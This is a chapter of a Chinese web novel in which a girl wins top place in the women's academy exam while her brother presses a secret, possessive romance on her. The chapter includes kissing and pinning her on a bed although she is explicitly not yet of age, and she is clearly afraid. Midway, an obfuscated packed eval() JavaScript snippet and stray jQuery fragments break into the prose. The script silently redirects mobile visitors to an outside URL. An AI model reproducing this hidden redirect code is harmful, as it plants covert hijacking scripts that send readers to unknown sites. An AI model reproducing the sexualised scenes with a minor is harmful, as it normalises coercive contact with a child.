029/沫竹非竹
几日后的一个清晨,一道锣鼓声将谢府众人给惊醒了。
这时辰比谢志远平日里出门上朝都早,仆从来报,竟是宫中来了人。
他赶紧正了衣冠,即刻去了府门前。
来者是宫里的公公,他一脸喜意,连声道贺。
谢志远有些愣住了,他一时未想明白喜从何来,来者看着他这般样子,立刻解释道:“谢大人,令千金此次以甲上考入女学,圣上亲阅的卷,对令千金的评价甚高。”
“此番,圣上特令老奴过来传达这个好消息,还赐了文房四宝赠予令千金,您快替她收下吧。”
谢志远心中大惊,他知晓圣上对此事看重,却未想到竟看重至此。
他本也未想到婉儿能以这般名次考上,他强压下心中震惊,赶紧跪地行礼道:“多谢圣上,圣上万岁万岁万万岁。”
那紫衣公公笑着点了点头:“谢大人,你如今是儿女双全,他们又都这般优秀,你可得好生培养啊。”
谢志远心中更是忐忑,但也赶紧附和点头道:“您说的是,下官定会好生培养的。”
“圣上还说了,今日下朝后,请谢大人移步御书房一叙。”
谢志远连忙点头,最后又是行了礼,目送了公公离开,这才回了府中。
仆从拿着礼盒跟在身后,谢志远看着那些东西,这一刻,忽的想起了亡妻芝兰。
那时他不解,不解为何她非要重金聘请一个女夫子,可她却说都城贵女们都是这般教孩子的,她只觉她不过跟风之势,左右不挡了他的仕途,府中也有存银,他便也未再多说什么了。
可今日,他却突然明白了过来,她才是那个比他看得更远的人...
他脑中复又回忆起了许多片段,一时心中忽的升出了许多复杂之情,直到阮雪披着氅衣出了来,挽上了他的手臂,他这才将思绪抽离了出来。
“将东西拿给小姐,就说是御赐之物,要好生保管。”
那仆从点头称是,赶紧朝着芝兰园走去。
“御赐之物?”
阮雪蹙眉不解。
“婉儿以甲上的成绩考上了女学,圣上亲阅的卷,今早派了公公来报喜,还让本官好生教导。”
阮雪自然大惊,她就压根未想过谢清婉能考上这女学。
想到自己儿子不知教了她多少,竟让她得了圣上青睐,她一时更是郁结,但此刻也只得道:“这可是天大的好事啊...如今圣上也还年轻,说不准...”
“诶,此话休说,你是不知如今后宫之事...罢了,以后莫提这种话。”
阮雪眯了眯眼,立刻道:“妾身不懂嘛...以后再不说了。”
芝兰园中,主屋内,此刻正有浓稠的粥香传出。
谢行止看着谢清婉还一副困倦模样,轻吹了吹勺中的香粥,然后递给了坐在对面的她。
谢清婉起得太早本没有什么胃口,可那粥香实在浓稠,竟莫名勾动了她的食欲,她浅尝了一口,竟有种娘亲的味道。
她立刻生了些精神道:“春儿做的愈发像了。”
春儿正倒着茶,赶紧道:“小姐,这粥是少爷做的。”
“可还好喝?多亏春儿指点了一二,不然也做不成这般样子。”
谢清婉一愣,抬眸看向他:“都说君子远庖厨,怎得你不在乎?”
谢行止弯了眉眼:“此话今日用来,有些断章取义之嫌,古人写下的时候,非指君子不能下厨之意。”
谢清婉微红了脸,她读了这些,但的确未有深究。
“什么意思?”
“此话意指君子应怀有仁义之心,不忍见杀生之事,故远离灶厨。”
谢行止夹了些菜放进她的盘子中,却听到谢清婉喃喃道:“又要吃,又说什么不忍,最后来个眼不见为净的虚伪说辞。”
谢行止点了点头:“阿婉能有如此辩证的思考方式,很是难得。”
被表扬,谢清婉自是心情甚好,她扬了扬脖颈,得意的小模样让人有些忍俊不禁,谢行止眼中爱意升腾,几乎要溢出。
谢清婉对上了他那双柔和而热烈的眼,她一瞬移开了目光。
很快,仆从在外头说话。
“小姐,老爷让小的送了东西来,说是御赐之物。”
屋中之人,除了谢行止,都是一惊。
春儿赶紧去开了门,谢清婉也立刻起了身,确定自己着装之上没有什么问题,这才快步走了过去。
屋外只有一个仆从,倒也没有什么别的人,春儿接过那沉甸甸之物,赶紧收进了房间。
“怎么回事?”
谢清婉问道。
那仆从一脸喜色道:“恭喜小姐考入了女学,今日一早就有公公来府报喜,还说圣上对您评价很高,特赐了此物。”
谢清婉喜极,她转身,正好见到谢行止垂眸看着她,带着温柔的笑。
她克制不住,拉过谢行止的手,止不住蹦跳:“真的!真的来了!真的考上了!!”
谢行止说了今日会出结果,还说今日应该一早就能知晓,她这才起了一个大早,等着消息,未曾想不仅仅是考上的消息,还有被当今圣上看到,甚至评价甚好的消息。
“多亏了哥哥指导!”
谢清婉此刻是真心实意地道谢,陈夫子教了她许多,她也自学了许多,可女学考试毕竟同平日所学不同,它更看重对所学的积累和应用,而谢行止就是帮她将一切整合,甚至哪里应该着重深入都整理的一清二楚之人。
没有他,她想,恐怕这条路走得不可能这般顺。
谢行止感受着她手心的柔软,眼色晦暗了些许,他支走了仆从和春儿,拉着她进了屋。
刚关上门,谢清婉一双晶亮眼中笑意还未褪去,便看着他靠近,垂首亲吻上了她。
此刻,她心情甚好,被他这般舔舐倒也乖乖地配合着。
甚至有些动情,那暧昧的唇齿交缠声,染得她都通红了脸。
等再次清醒过来时,自己正被压在榻上,某人正吮着她的锁骨!
衣衫不知什么时候都松了,谢清婉吓得赶紧用手推他,可这人着了魔般,又吸又咬,惹得她头皮一阵阵发麻。
“谢行止!”
谢清婉推不开他,有些生气道。
喊出全名,身上那人终是神思清醒些了。
他停了动作,但好一会儿,整个人都一动不动的。
“好重啊...快起来!”
谢清婉声音中带着恼怒,但又有勾人心动的娇嗔,谢行止喉结滑动,好半晌,他才沙哑着声音道:“...离你及笄,怎得还有这般久...”
谢清婉心脏猛地一跳,一阵难言的慌乱惹得她呼吸都有些不畅。
察觉到她的异样,他赶紧起了身:“抱歉,我...我看着你笑的开心,实在控制不住。”
谢清婉刚刚坐起身,便又被他猛地抱在怀中,耳边又响起他的情话:“我好喜欢,阿婉,我好喜欢你。”
谢清婉现在都有些习惯了,像只粘人的大狗,一到这个时候若是不回抱住他,他能在耳旁絮叨上一整日。
她赶紧回抱着他道:“我也是呀,哥哥,我也最喜欢你了。”
谢清婉撒着娇,但眼中却没什么情绪。
就这般相拥了许久,直到屋外刘敬提醒他该去参加早朝了,后者这才松开了双臂。
“若以后能同朝为官,便是时时刻刻都能同阿婉在一起了。”
谢清婉的假笑都要维持不住了,但还是配合道:“是呀,所以哥哥定要多多提携我才是。”
谢行止眼中含笑,轻捏了捏她的鼻尖,在她蹙眉瞪他时,又俯身在她唇上亲了亲。
“近日城南新开了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16546728|186737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一家羊肉馆,晚上带你去吃,好不好?”
谢清婉最喜欢去尝试各种新菜,今日心情也甚是不错,她当即点头道:“好啊!”
他又拉过她的柔荑,在她手背上轻吻了吻。
谢清婉看着他的眼,看着他投递而来的视线,心口又被揪紧,那种缠绕而来的束缚令她难言,手背上的柔软温柔却令她脊骨发寒。
等他终于走了,谢清婉有些脱力地坐了下来。
春儿进来,正好看到谢清婉一脸沉思的模样。
“小姐,怎么了?”
往日里,若是有什么令谢清婉感到开心之事,她定是一整日都挂着笑脸,可此刻,她沉静着,反倒是令人感到些不安。
“我有些...有些..害怕...”
春儿也一下紧张起来:“小姐,您害怕什么?”
谢清婉微蹙起了眉,一时也不知该如何解释,只得道:“罢了,今日是个好日子,有什么烦忧都今日之后再说了。”
春儿见她又恢复了些活力,心中的担忧便也先压了下去。
考入女学的榜单放出,前三位有专门的人员上门报喜,一时谢府姑娘以第一名成绩考上的消息传遍,不少官员贵人听到后,都纷纷上了谢府道贺。
谢志远一时好不风光,红光满面,人都似年轻了许多。
阮雪自然也陪着接见客人,她虽笑着,但心中自然甚不是滋味。
老爷越是高兴,她心中的火气便越是增长了一分。
等送走客人,谢志远立刻命人道:“去芝兰园说一声,庆祝小姐考上女学,我们现在去满福楼用饭。”
“是!”
阮雪脸色有些不好,喃喃道:“老爷,止儿此前大理寺赴职,都未见您这般庆祝。”
谢志远懊恼道:“怪我怪我,正好此番一并庆祝了。”
“看看府中还有什么好料子,该给婉儿添些新衣了,以后去了学院,那可是代表着谢府的脸面,不得有失。”
“是。”
她手中的巾帕,被她攥得死紧。
谢清婉刚等到谢行止下值带着她出去,却被谢志远派的人叫了住。
见有人远远过来,谢清婉立刻将手从他手中抽离了出来,一脸淡漠样。
“少爷,小姐,老爷说今日庆祝小姐考上女学,一起去满福楼用饭,现在就出发。”
谢清婉一下跨着了脸,带着些怨念地看向谢行止,后者也带上些了无奈,试探道:“那...我们明日再去吃?”
“可我们都计划好了。”
谢清婉嘟着嘴,但有外人在,她也不能表现的太过不满。
“乖一些,用完晚食,带你去逛逛夜景。”
他声色实在柔和,同平日太过不同,那仆从都压不下心中惊讶,脸上自也表现了些许。
谢清婉心中一跳,这人是在父亲身边伺候的,她赶紧收了情绪道:“你去回禀,我和哥哥这就过去。”
待人走远,谢清婉蹙着眉道:“你在人前能不能冷淡点。”
她朝外走,无视了他伸过来的手。
下一瞬,她便被他困在了墙角,他垂下头,眼中晦涩:“知道了又如何?”
谢清婉心脏狂跳,眼中满是不可思议:“你疯了?我们是兄妹!”
她眼中的恐惧遮掩不住,谢行止只觉心脏被什么东西蛰了一下,控制不住的抽痛,也因此,他有些克制不住道:“那又如何?”
谢清婉眼中的震惊过于明显,她似避瘟神般推着他躲着他:“...你要这样,那就不要继续了。”
谢行止眼中明显慌乱了起来,他神思归位,立刻将人抱在怀中道:“是我错了,我错了...阿婉,我会名正言顺地娶你过门,不会有任何流言蜚语,你不要怕。”
她本是不怕的...
可此刻...她真的生了些恐惧...